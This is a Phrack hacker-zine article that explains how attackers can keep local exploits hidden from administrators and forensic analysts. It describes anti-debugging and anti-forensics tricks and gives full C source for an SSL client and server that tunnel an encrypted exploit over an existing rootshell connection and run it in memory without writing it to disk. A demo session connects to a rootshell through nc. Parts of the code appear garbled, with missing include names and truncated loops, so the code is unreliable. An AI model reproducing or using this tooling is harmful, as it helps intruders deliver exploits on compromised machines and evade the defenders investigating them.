==Phrack Inc.== Volume 0x0b, Issue 0x3f, Phile #0x08 of 0x0f |=------------------------[ Keeping 0day Safe ]-------------------------=| |=----------------------------------------------------------------------=| |=-----------------------------[ m1lt0n ]-------------------------------=| 1. Introduction 2. Protected Execution Overview 3. Pre-emptive Strikes Against Binary Analysis 3.1 Resident Memory Inspection 3.2 File Inspection 3.3 Leaving No Traces 4. What We Will Try To Do 5. The Source Code 5.1 Explanation 5.2 Shared Code 5.3 The Server 5.4 The Client 6. Conclusions --[ 1. Introduction The debian.org debacle showed the world that even an idiot, using tools such as burneye, isn't safe from leaking 0day to a group of stupid whitehat forensic analysts. A good hacker most likely will never encounter the problems faced by the person (or should I say the xxth person) who compromised debian.org, but it is probably in the best interests of the blackhat/hacker community to share some tips on keeping 0day safe and out of enemy (*Lance*) hands. What I am attempting to describe, minus the clever Shakespearean quotes, is a few general guidelines and a model for keeping 0day safe in a hostile environment. Let's start by describing what we need to have in our model, and then by implementing it in some general code. This is not a new or groundbreaking article, and it's not really as much about inventing something new as it is tying some common sense together. My only hope is that this article doesn't bring forth a patent infringement lawsuit from Core SDI, who have apparently invented everything at least 5 years before it came to the rest of the hacking world. --[ 2. Protected Execution Overview The traditional cat+mouse game here, I'm sure somebody can eventually construct a mathematical proof of why the system administrator always has the upper hand. Of course, you will be at a disadvantage here, since you will be operating from userland, and generally a non-root user account, attempting to elevate your privileges, or obtain extra capabilities, as the case may be. At the end of the day, you are doomed, because any machine instructions which are executed by your process will inevitably be prone to being peeked at by a superuser process. For reading currently executing instructions, there are two basic and interrelated strategies: A. The administrator can ptrace() the running process, and by using a parameter such as PTRACE_SINGLESTEP, peek at the USER area context of the process and retrieve any register contents, such as EIP/PC, as well as referenced memory. B. Machines typically have some methodology for single stepping. On the IA32 for example, this involves setting a particular bit in EFLAGS. EFLAGS is pushed onto the stack with PUSHF, modified, and then restored from the stack with POPF. This method is the ancestor of method A, as ptrace single stepping is performed like this. We can add two methods, one less effective and one more obscure. C. Attach to the process with ptrace(), and specify PTRACE_SYSCALL. Of course, the snooper won't retrieve the internal workings of the monitored exploit, such as certain address and buffer calculations which are performed on system specific parameters, making exploits reliable, portable, and universal. But they'll still give the person monitoring the execution a pretty idea of what's going on. Just take the recent do_brk() vulnerability, for example. All one needs to see, is an munmap() syscall, followed by several hundred brk() calls that extend the process data segment beyond userland, to know something's up, and exactly where to find the offending code for that something. As a side strategy, instead of using ptrace(), somebody could of course install a kernel-side filter, that sits either under the int 0x80 (or OS-appropriate) interrupt or trap handler for system calls, or as a wrapper for each of the individual system calls in the sys_call_table, that records the process id and parameters. Variations in methodology may change in the future, as alternate system call stubs are introduced for new instructions, such as the faster Intel "sysenter" context-switch instruction. D. Debug registers can also be used to provide an analysis of polymorphic encryption engines. For example, on Intel, these debug registers are noted as %dr0-%dr3. Using the debug control register, it is possible to monitor certain virtual memory segments for instruction execution or write operations. Similar functionality is provided on other operating systems. With Solaris, it is possible to set a watchpoint using procfs. By passing a control messagewith a type of PCWATCH, a watched area of specified size and flags can be created. Why is this useful? Well, let's pretend that the executable consists of an XOR encrypted bytestream which is decrypted on-the-fly as each new instruction is executed. A watch area can be set up to monitor the .text segment of the executable. Normally, this watch point area should never incur a trap, as the segment will be +rx by default. If the target mprotects itself writeable, and then starts generating watch traps, we know something's up. Since the program can't execute encrypted instructions, it will most likely perform self-modification right before an instruction fetch+execute, allowing the overseer to check %PC each time a watch trap occurs. This method has the advantage of working independently of single stepping cat+mouse headaches. Example: Cat&Mouse Games with Method A MOUSE vs. A: Simple but great old trick, originally brought to us by Silvio. PTRACE_ATTACH to yourself, or to your child, if you are babysitting execution. This should stop anybody else from attaching to you until you detach. This will work in 99% of all scenarios. CAT vs. MOUSE vs. A: 1. Create an LKM to intercept sys_ptrace(). Cause all attempts by (current_task->pid) to attach to pid (current_task->pid) to simply return an error code. 2. fork() off a child, call ptrace with a parameter of PTRACE_TRACEME, so that when you execute your target binary, a trace trap will be generated on execve(). You're now attached to the binary before it's managed to hit its own entry point and attach to itself. Use PTRACE_SYSCALL to intercept the return of the ptrace attach, and change %eax or whatever register to 0. It now seems to the traced process that it managed to attach to itself, when in fact nothing happened. MOUSE vs. CAT vs. MOUSE vs. A: The game still carries on after this, of course, but this is the last step where things remain practical. The goal is to verify that the ptrace attach really succeeded. We can, of course, do this by testing other ptrace() functionality, like peeking and poking, that should only work if the attach was successful. --[ 3. Pre-emptive Strikes Against Binary Analysis ----[ 3.1 Resident Memory Inspection These were the techniques that were mostly discussed above. 1. Disrupting the ability of the admin to attach to the process with ptrace(). 2. Using tools such as mutators, encoders, scramblers, and polymorphic engines to make the execution flow less human-readable. For example, tools such as objof (http://www.team-teso.net/projects/objobf/) can be used to make disassembly a real headache. 3. Old techniques such as jumping into the middle of variable length instructions static binary analysis annoying. 4. Exploiting flaws and short comings in system tracing tools. Creating a storm of SIGTRAPs can often cause the debugger or tracer to fault or shut down. This can be done using the old concept of a 'running line.' Of course a running line won't work the same way in a modern protected operating system as it would in a legacy system, since the trace trap interrupt handlers will be guarded in kernel land. But by using some of the hidden functionality of signal handling it is equally possible to implement this in user land, as it is possible to retrieve a USER area representation in special signal handlers set up by sigaction() as opposed to signal(). And let me add that apart from the conceptual difficulties that a running line poses to would-be analysts, it also causes a vast majority of debugging utilities to abort their execution immediately. 5. Re-encrypting the text segment to obscure previously executed instructions (this is more or less the same as #4). ----[ 3.2 File Inspection This is to stop snoopers from using the /proc filesystem to snatch the on-disk binary file corresponding to a running executable. 1. Create a local system DOS by using up open file descriptor tables. Note: This most likely is NOT gonna work, depending on what system you're on. 2. If you already have root (unlikely), and are attempting to do something even more special, you can utilize mandatory file locking. This is similar to advisory locks, and is usually performed by some sort of inode operation, like making the file SGID but g-x on Linux, and then using the typical flock()/lockf() functions. But, some platforms may require you to mount the target filesystem with a special flag. 3. What we rely on here: some sort of user land exec tool. Not only does this mean that there is no system call used to launch the target executable (SYS_exec* provides an entry point for admins to copy and save executables which have been launched outside of standard binary directories such as /bin, /usr/bin, /usr/local/bin, /sbin, etc) but, as discussed in p62, Honeynet-like ventures which aim to log and store away suspicious files passed to unlink() will be left in the dark, because nothing will ever be written to disk as a regular file. The strategy can vary; either the userland utility can perform the dynamic linking and relocations, or it can map in the dynamic linker (ld.so) to perform the task for it. ----[ 3.3 Leaving No Traces In almost all cases, this refers to preventing the running process from leaving any sort of forensic data in swap files. 1. Keep the executable size small. 2. If you are root, you can utilize mlock() or mlockall() to ensure that sensitive code pages of your exploit are locked into memory. 3. Overwrite/secure wipe sensitive data pages in your process with random memory. To ensure that pages are re-written in the disk cache, allocate hundreds of megabytes of memory and perform some I/O operations on them. As you allocate more and more memory, old pages that were referenced long ago will be swapped to disk (exploiting the simple concept of cache locality), updating the sensitive data in the swap file or swap partition with your garbage. Unfortunately, this technique is often impractical because local exploits usually execute some other program, such as a local SUID - thus minimizing their chances of wiping themselves clean before the exploit has completed and replaced itself with the address space of a new executable. 3. Run the exploit from some sort of special filesystem, such as a ramdisk (Hint: this is much more practical than it seems). --[ 4. What We Will Try to Do 1. Surviving the Network Transmission a. The exploit must be transferred in a safe manner. There is no sense in going to great lengths to outsmart the reverse engineers if in the end, HD Moore reconstructs your exploit file from gigabytes of archived tcpdump logs. b. The vector of transmission may vary. For example, an exploit may cause a shell to be bound over an existing channel, using some sort of findsockfd shellcode. All the ports on the remote host may be closed except for one. Or the shellcode may provide a reverse shell. Whatever, the case may be, our method should not provide its own transmission channel. It should instead be compatible with any existing channel. c. Use extra paranoia - still encrypt the executable itself. d. It is not important that the stub code responsible for launching and decrypting the exploit also be encrypted. 2. Running the Executable on the Host a. Only our host stub will be saved to disk. Even though it is "safe" for the stub to be recovered, this is not preferable, as it provides a window of insight into what sort of activities were performed on the box. In other words, it's not the end of the world if the admin discovers that he was being exploited, but it's still best if a forensic analysis ultimately produces nothing. b. The binary executable will never be stored on the disk. It should also be protected, if possible, from being written to a swap partition or a swap file with the same techniques used to harden the stub. 3. Implementation Details a. Stub Layout: The stub should be fully self-contained. It should not reference any files or libraries on the target machine. Thus, it needs to be compiled statically, and not dynamically linked. b. Stub Transfer: Not important. Just make sure that only one copy is made on disk. c. Exploit transfer: A hybrid cryptosystem will be used; a public key will be generated to encrypt a symmetric session key. This session will be used to transfer the exploit over. The exploit will be stored in space dynamically allocated by the stub. d. Exploit loading: The exploit should be executed directly in memory, and following its termination, be cleaned. Big help came from grugq, who released his tool userland exec, while I was a little more than half way through writing one of my own. It's kinda cheesy that you have to have compile with diet libc, but I won't complain since it saved me a good amount of time. --[ 5. The Source Code ----[ 5.1 Explanation I really couldn't give a shit about implementing all the anti-debugging stuff I talked about because it's almost useless to me. What are the realistic chances of an admin attaching to your code just as it happens to be executing, anyway? So just consider it a bunch of literary fluff with no POC code attached. The program provided below is meant to interface with grugq's ul_exec. It is entirely self-contained, and uses -lssl to provide the encrypted transfer support. This could have been written a number of ways, from TCL to some even more elegant PTY-based approach. Here is an example of how the tool is used. fagburner# ./compile Generating RSA private key, 1024 bit long modulus ..++++++ ...............................++++++ e is 65537 (0x10001) Using configuration from /etc/openssl/openssl.cnf You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:State or Province Name (full name) [Some-State]:Locality Name (eg, city) []:Organization Name (eg, company) [Internet Widgits Pty Ltd]:Organizational Unit Name (eg, section) []:Common Name (eg, YOUR name) [fagburner# Now the program has been compiled, and the necessary SSL certificate and private key, created. For the sake of this example, pretend we have bound a rootshell to port 31337 on 192.168.0.1, so1o-echo-to-the-inetd.conf-style. fagburner# ./ftrans /bin/bash -i [+] spawning program: /bin/bash bash-2.04# We use the client transfer program to spawn a shell. This shell could be used to launch the exploit that we hack with, or it could be used to simply connect to the rootshell as we are doing now. bash-2.04# nc -v 192.168.0.1 31337 nc -v 192.168.0.1 31337 aziza [192.168.0.1] 31337 (?) open sh: can't access tty; job control turned off # Now we upload the certificate, keyfile, and server program. Hit CTRL+C: # ^C[+] received break. Options: "deliver" - pass SIGINT to child process. "quit" - kill both processes - transfer encrypted and run it in memory. "put" - use the shell to create a binary (unsafe mode) put server.tar.gz /tmp/s [+] file created. # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ls -la /tmp/s -rw-r--r-- 1 root wheel 3803 Jan 14 18:19 /tmp/s # cd /tmp # mkdir tmp; mv s tmp/s.tar.gz; cd tmp; tar zxvf s.tar.gz compile fserv.c transfer.c transfer.h transfer.o # ./compile gcc: ftrans.c: No such file or directory Generating RSA private key, 1024 bit long modulus ..........................++++++ ...................................++++++ e is 65537 (0x10001) Using configuration from /etc/openssl/openssl.cnf You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:State or Province Name (full name) [Some-State]:Locality Name (eg, city) []:Organization Name (eg, company) [Internet Widgits Pty Ltd]:Organizational Unit Name (eg, section) []:Common Name (eg, YOUR name) []:Email Address []:# Now the program is installed on the remote end. Now that this has been done, you can launch the server and upload your file securely via SSL through the present connection. # ./fserv -h ^C[+] received break. Options: "deliver" - pass SIGINT to child process. "quit" - kill both processes - transfer encrypted and run it in memory. "put" - use the shell to create a binary (unsafe mode) /etc/motd [+] SSL initialization completed. [+] completed SSL connection. [+] file transfer succeeded. [+] received encrypted file in memory. its [NetBSD 1.6.1 (GENERIC) #0: Tue Apr 8 12:05:52 UTC 2003 Welcome to NetBSD! ] # The program is in debug mode, so the contents of the buffer are displayed back to us, rather than executed. But this still shows that data can be transferred securely through any existing insecure connection. Caveats: 1. ftrans, the file client, does not support any sort of nice PTY mode. As I said, I'm writing this in a rush (t minus 30 minutes to release), and don't have time. But I'm sure somebody can like rip it out of the suckit client easily. 2. SSL memory leaks: SSL sessions aren't properly destroyed because it seemed that doing so might cause some garbage to be spit out that would fuck up the terminal, and maybe even log you out of the shell. Instead, existing SSL sessions remain open, and new ones are created each time a new file is transferred over securely. This program would probably be more elegant if it just used RSA encryption routines directly, instead of the openssl frontend, but the openssl API was something I was a bit familiar with, as opposed to the other. ----[ 5.2 Shared Code |=----------------------------------------------------------------------=| To compile: use the following script #!/bin/sh gcc -Wall -c transfer.c gcc -Wall -o ftrans ftrans.c transfer.o -lssl -lcrypto gcc -Wall -o fserv fserv.c transfer.o -lssl -lcrypto openssl genrsa -out ourkey.key 1024 perl -e 'print "\n"x20' | openssl req -new -x509 -days 2 -key ourkey.key -out ourkey.cert |=----------------------------------------------------------------------=| |=---------------------------transfer.h---------------------------------=| #include #include #include #include #include #include #include #include #define MAGIC "xxxMAGICxxx\n" SSL *initialize_ssl_support(int infd,int outfd,int iscli); void destroy_ssl_session(SSL *session); int client_transfer_file(SSL *session,int filefd); void *server_receive_file(SSL *session,size_t *size); void send_magic(int fd); void get_magic(int fd); |=----------------------------------------------------------------------=| |=---------------------------transfer.c---------------------------------=| #include "transfer.h" SSL *initialize_ssl_support(int infd, int outfd,int iscli) { SSL_CTX *ctx; SSL_METHOD *meth; SSL *session; SSL_library_init(); OpenSSL_add_all_algorithms(); SSL_load_error_strings(); if (iscli) meth = TLSv1_client_method(); else meth = TLSv1_server_method(); ctx = SSL_CTX_new(meth); if (ctx==NULL) { ERR_print_errors_fp(stdout); exit(EXIT_FAILURE); if (!iscli) { if (SSL_CTX_use_certificate_file(ctx,"ourkey.cert",SSL_FILETYPE_PEM)<=0) { ERR_print_errors_fp(stderr); exit(EXIT_FAILURE); } if (SSL_CTX_use_PrivateKey_file(ctx,"ourkey.key",SSL_FILETYPE_PEM)<=0) { ERR_print_errors_fp(stderr); exit(EXIT_FAILURE); } if (!SSL_CTX_check_private_key(ctx)) { fprintf(stderr,"Private key doesnt match the cert pubkey\n"); exit(EXIT_FAILURE); } } if ((session = SSL_new(ctx)) == NULL) { ERR_print_errors_fp(stdout); exit(EXIT_FAILURE); } if (!SSL_set_rfd(session,infd)) { ERR_print_errors_fp(stdout); exit(EXIT_FAILURE); } if (!SSL_set_wfd(session,outfd)) { ERR_print_errors_fp(stdout); exit(EXIT_FAILURE); } if (iscli) fprintf(stderr,"[+] SSL initialization completed.\n"); return session; } void destroy_ssl_session(SSL *session) { SSL_shutdown(session); SSL_free(session); fprintf(stderr,"[+] SSL session destroyed.\n"); return; } int client_transfer_file(SSL *session,int filefd) { struct stat statbuf; uint32_t fsize; int n=0; if (fstat(filefd,&statbuf)<0) { perror("fstat"); return 0; } fsize = htonl(statbuf.st_size); if (SSL_connect(session)<0) { ERR_print_errors_fp(stdout); exit(EXIT_FAILURE); } fprintf(stderr,"[+] completed SSL connection.\n"); if (SSL_write(session,&fsize,sizeof(fsize)) != sizeof(fsize)) { fprintf(stderr,"Error transmitting file size with SSL_write()\n"); ERR_print_errors_fp(stdout); return 0; } while(n512) toread=512; didread=SSL_read(session,bufptr,toread); if (didread<=0) { fprintf(stderr,"Unexpected EOF reached in SSL_read()!\n"); exit(EXIT_FAILURE); } nin+=didread; } return buf; } /* our really pathetic attempts at synchronization methods */ void send_magic(int fd) { if (write(fd,MAGIC,strlen(MAGIC))!=strlen(MAGIC)) { perror("write"); exit(EXIT_FAILURE); } return; } void get_magic(int fd) { char inbuf[128]; while(1) { memset(inbuf,0,sizeof(inbuf)); if (read(fd,inbuf,sizeof(inbuf))<0) { perror("read"); exit(EXIT_FAILURE); } if (strstr(inbuf,MAGIC)) break; } return; } |=----------------------------------------------------------------------=| ----[ 5.3 The Server |=-----------------------------fserv.c----------------------------------=| #include #include #include #include #include #include #include #include "transfer.h" int get_answer(void); int get_answer(void) { while(1) { char buf[32]; printf("[+] execute again? "); fflush(stdout); memset(buf,0,sizeof(buf)); if (fgets(buf,sizeof(buf),stdin)==NULL) { perror("fgets"); exit(EXIT_FAILURE); } buf[strlen(buf)-1]=0; if ((!strcasecmp(buf,"y")) || (!strcasecmp(buf,"yes"))) return 1; if ((!strcasecmp(buf,"n")) || (!strcasecmp(buf,"no"))) return 0; } return 0; } int main(int argc,char *argv[]) { SSL *session; size_t s; char *execbuf; /* receive the synchronization request */ get_magic(STDIN_FILENO); session = initialize_ssl_support(STDIN_FILENO,STDOUT_FILENO,0); execbuf = server_receive_file(session,&s); // destroy_ssl_session(session); fprintf(stderr,"[+] received encrypted file in memory.\n"); //#define DEBUG 1 #ifdef DODEBUG printf ("its [%s]\n", execbuf); return 0; #else while (1) { pid_t pid; switch(pid=fork()) { case -1: perror("fork"); exit(EXIT_FAILURE); case 0: ul_exec(execbuf,argc,argv); exit(EXIT_FAILURE); default: if (waitpid(pid,NULL,NULL)<0) { perror("waitpid"); exit(EXIT_FAILURE); } printf("[+] executable (pid %d) returned.\n",pid); if (get_answer()) continue; /* wipe out the buffer in memory */ memset(execbuf,0,s); printf("[+] stub exiting.\n"); exit(EXIT_SUCCESS); } } #endif return 0; } |=----------------------------------------------------------------------=| ----[ 5.4 The Client |=----------------------------ftrans.c----------------------------------=| #include #include #include #include #include #include #include #include #include #include #include #include "transfer.h" void usage(char *program); void ctrlc(int signo); void sigchild(int signo); void spawn_child(int nstdin,int nstdout,char *argv[]); void shell_create_file(int fd,char *remotefile); int childpid = 0; int stdin_fdpair[2],stdout_fdpair[2]; void usage(char *program) { fprintf(stderr,"Usage: %s [args]\n",program); exit(EXIT_FAILURE); } void ctrlc(int signo) { SSL *session; char inbuffer[128]; int filefd, tres; fprintf(stderr,"[+] received break.\n"); fprintf(stderr,"Options: \"deliver\" - pass SIGINT to child process.\n"); fprintf(stderr," \"quit\" - kill both processes\n"); fprintf(stderr," - transfer encrypted and run it in memory.\n"); fprintf(stderr," \"put\" - use the shell\n" " to create a binary (unsafe mode)\n"); memset(inbuffer,0,sizeof(inbuffer)); if(fgets(inbuffer,sizeof(inbuffer),stdin)==NULL) { perror("fgets"); exit(EXIT_FAILURE); } inbuffer[strlen(inbuffer)-1]=0; if(!strcmp(inbuffer,"deliver")) { fprintf(stderr,"[+] sending signal to pid %d\n", childpid); if((kill(childpid,SIGINT))<0) { perror("kill"); exit(EXIT_FAILURE); } return; } if(!strcmp(inbuffer,"quit")) { fprintf(stderr,"[+] exiting.\n"); if((kill(childpid,SIGKILL))<0) { perror("kill"); exit(EXIT_FAILURE); } exit(EXIT_SUCCESS); } if (!strncmp(inbuffer,"put ",4)) { char *lptr,*rptr; int lfd; lptr = inbuffer; lptr+=4; while(isspace(*lptr)) lptr++; rptr=lptr; while(!isspace(*rptr)) rptr++; if(!*rptr) { fprintf(stderr,"Error interpreting command!\n"); return; } *rptr++=0; while(isspace(*rptr)) rptr++; if(!*rptr) { fprintf(stderr,"Error interpreting command!\n"); return; } if ((lfd = open(lptr,O_RDONLY))<0) { fprintf(stderr,"- unable to open file: %s\n",lptr); fprintf(stderr,"[+] continuing...\n"); return; } shell_create_file(lfd,rptr); fprintf(stderr,"[+] file created.\n"); return; } if ((filefd=open(inbuffer,O_RDONLY))<0) { fprintf(stderr,"- unable to open file: %s\n",inbuffer); fprintf(stderr,"[+] continuing...\n"); return; } /* play with filefd */ send_magic(stdin_fdpair[1]); session = initialize_ssl_support(stdout_fdpair[0],stdin_fdpair[1],1); tres = client_transfer_file(session,filefd); if (!tres) fprintf(stderr,"- file transfer failed!\n"); else fprintf(stderr,"[+] file transfer succeeded.\n"); // destroy_ssl_session(session); return; } void sigchild(int signo) { if (waitpid(-1,NULL,0) < 0) { perror("waitpid"); exit(EXIT_FAILURE); } fprintf(stderr,"[+] child program exited.\n"); exit(EXIT_SUCCESS); } void spawn_child(int nstdin,int nstdout,char *argv[]) { switch(childpid=fork()) { case -1: perror("fork"); exit(EXIT_FAILURE); case 0: break; default: return; } if (setsid()<0) { perror("setsid"); exit(EXIT_FAILURE); } if (close(STDIN_FILENO)<0) { perror("close"); exit(EXIT_FAILURE); } if (close(STDOUT_FILENO)<0) { perror("close"); exit(EXIT_FAILURE); } if(dup2(nstdin,STDIN_FILENO)<0) { perror("dup2"); exit(EXIT_FAILURE); } if(dup2(nstdout,STDOUT_FILENO)<0) { perror("dup2"); exit(EXIT_FAILURE); } fprintf(stderr,"[+] spawning program: %s\n",argv[1]); execv(argv[1], &argv[1]); /* should never be reached */ perror("execv"); exit(EXIT_FAILURE); } void shell_create_file(int fd,char *remotefile) { unsigned char inbuf[128]; unsigned char cmdbuf[1024]; int n=1; while (n) { char hexbyte[6]; int i; n = read(fd,inbuf,sizeof(inbuf)); if (n<0) { perror("read"); exit(EXIT_FAILURE); } else if (!n) break; memset(cmdbuf,0,sizeof(cmdbuf)); strcpy(cmdbuf,"perl -e 'print \""); for (i=0;i> "); strncat(cmdbuf,remotefile,(sizeof(cmdbuf)-strlen(cmdbuf))); strncat(cmdbuf,"\n",(sizeof(cmdbuf)-strlen(cmdbuf))); write(stdin_fdpair[1],cmdbuf,strlen(cmdbuf)); } return; } int main(int argc,char *argv[]) { signal(SIGCHLD,sigchild); signal(SIGINT,ctrlc); if (argc < 2) usage(argv[0]); if(pipe(stdin_fdpair)<0) { perror("pipe"); exit(EXIT_FAILURE); } if (pipe(stdout_fdpair)<0) { perror("pipe"); exit(EXIT_FAILURE); } spawn_child(stdin_fdpair[0],stdout_fdpair[1],argv); /* I/O loop */ while(1) { fd_set fds; char buf[128]; int nread,selres; FD_ZERO(&fds); FD_SET(STDIN_FILENO,&fds); FD_SET(stdout_fdpair[0],&fds); if ((selres=select((stdout_fdpair[0]+1),&fds,NULL,NULL,NULL))<0) { if (errno==EINTR) continue; perror("select"); exit(EXIT_FAILURE); } if (FD_ISSET(STDIN_FILENO,&fds)) { memset(buf,0,sizeof(buf)); nread=read(STDIN_FILENO,buf,sizeof(buf)); if(nread<0) { perror("read"); exit(EXIT_FAILURE); } write(stdin_fdpair[1],buf,nread); } if (FD_ISSET(stdout_fdpair[0],&fds)) { memset(buf,0,sizeof(buf)); nread=read(stdout_fdpair[0],buf,sizeof(buf)); if(nread<0) { perror("read"); exit(EXIT_FAILURE); } write(STDOUT_FILENO,buf,nread); } } return 0; } |=----------------------------------------------------------------------=| --[ 6. Conclusion In real life, where "experts" like Bruce Schneier just write books, and other more important and intelligent people actually do the hacking, security through obscurity is actually useful. Anybody who tells you otherwise is a moron. Perhaps security through obscurity is not a good idea when it comes to deploying large-scale solutions, like shared encryption algorithms or components of wide-spread operating systems, but when it comes to the tools and tricks of the individual hacker, it certainly is. You are 10x better off using a 56 bit encryption algorithm with no known "John the Ripper" plugins than you are using a well known and well tested standard such as 3DES or Blowfish. Why? The answer is simple. Because only about 0.0001% of all "security professionals" actually know how to develop code. And the inability to develop code also means that they will be unable to provide real tools to cope with security problems that they can "conceptually" solve. The debian.org incident illustrates this well. The only reason the do_brk() exploit was unmasked was because a public tool, UNFBURNINHELL, was available. I can not even hope to heap enough curses upon byterage, the author of this tool (which is one of the most damaging releases to the security community). This tool CAN NOT possibly help ANYBODY in the hacking community. It not only allows whitehats to uncover 0day, but even if it were intended for dark purposes originally (like allowing hackers to spy on other hackers), the public release of such a tool forces the encryption utility's author to upgrade his tool in such a way that makes future snooping of insecurely encrypted executables useless. Thanks, byterage... what a dumb idea! There's not a whole lot of solutions available for encrypted executables under UNIX (ELF encryption) like there is for Windows...... but I can minimally recommend that hackers use "shiva", and not burneye. I don't condone supporting the authors of shiva in any other way, as they've obviously done their share to fuck up the underground hacking community through selling out, but shiva's uncontestably better. I won't explain why... just read the docs, etc, etc. You can find the shiva code at: http://www.securereality.com.au/ P.S. There are some very simple techniques that can be used to accomplish with less code and less worry some of the goals mentioned in this article. But some things, even if they are really simple, are too good to give away for free if they aren't widespread public knowledge. I've hinted at a way to do these things in the article, so if you have a bit of clue and determination you'll figure out how to do it on your own. OK that's just about it. Peace out, m1lt0n |=[ EOF ]=---------------------------------------------------------------=|